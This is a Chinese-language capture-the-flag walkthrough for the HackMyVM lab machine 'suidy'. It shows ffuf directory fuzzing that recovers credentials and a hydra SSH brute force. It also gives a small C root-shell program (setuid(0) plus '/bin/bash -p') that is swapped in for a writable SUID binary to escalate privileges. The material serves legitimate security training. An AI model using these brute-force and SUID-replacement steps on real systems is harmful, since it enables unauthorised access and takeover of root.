靶机链接:https://hackmyvm.eu/machines/machine.php?vm=suidy
作者:sml
难度:⭐️⭐️⭐️⭐️⭐️
知识点:ffuf hydra SUID替换提权
端口扫描
Nmap scan report for 192.168.9.7
Host is up (0.00015s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:B1:28:F4 (Oracle VirtualBox virtual NIC)
没什么东西,只有一个robots.txt
看下网页源码
看下rotbots.txt
翻到最下面可以看到有一个目录
访问目录
那就是要我们爆破目录,获取到这个.txt文件
下载seclist字典https://github.com/danielmiessler/SecLists
利用fuff工具进行爆破
ffuf -u http://192.168.9.7/shehatesme/FUZZ.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
这里爆破出了好多结果
加一个-od参数 输出到result目录
ffuf -u http://192.168.9.7/shehatesme/FUZZ.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -od result
看一下输出的文件内容格式
下面这个就是账户密码
我们利用正则表达式将其提取出来
tail -q -n 1 \* | sort | uniq | tee yhm.txt
然后把斜杠替换成:
hydra爆破
hydra -C ssh.txt 192.168.9.7 ssh
ssh theuser@192.168.9.7
\3. SUID替换提权
theuser@suidy:/home/suidy$ find / -perm -4000 2>/dev/null
/home/suidy/suidyyyyy
/usr/bin/su
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
这里有一个suidyyyy 可执行文件
看下这个文件
这里说明我们当前用户theuser对这个文件是有读写权限的。而且这个文件被设置了suid 与sgid
那我们将这个文件进行替换即可利用SUID执行任意文件
我们新建一个 power.c
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
gcc power.c -o suidyyyyy 编译
cp suidyyyyy /home/suidy/suidyyyyy 复制替换
./suidyyyyy 执行提权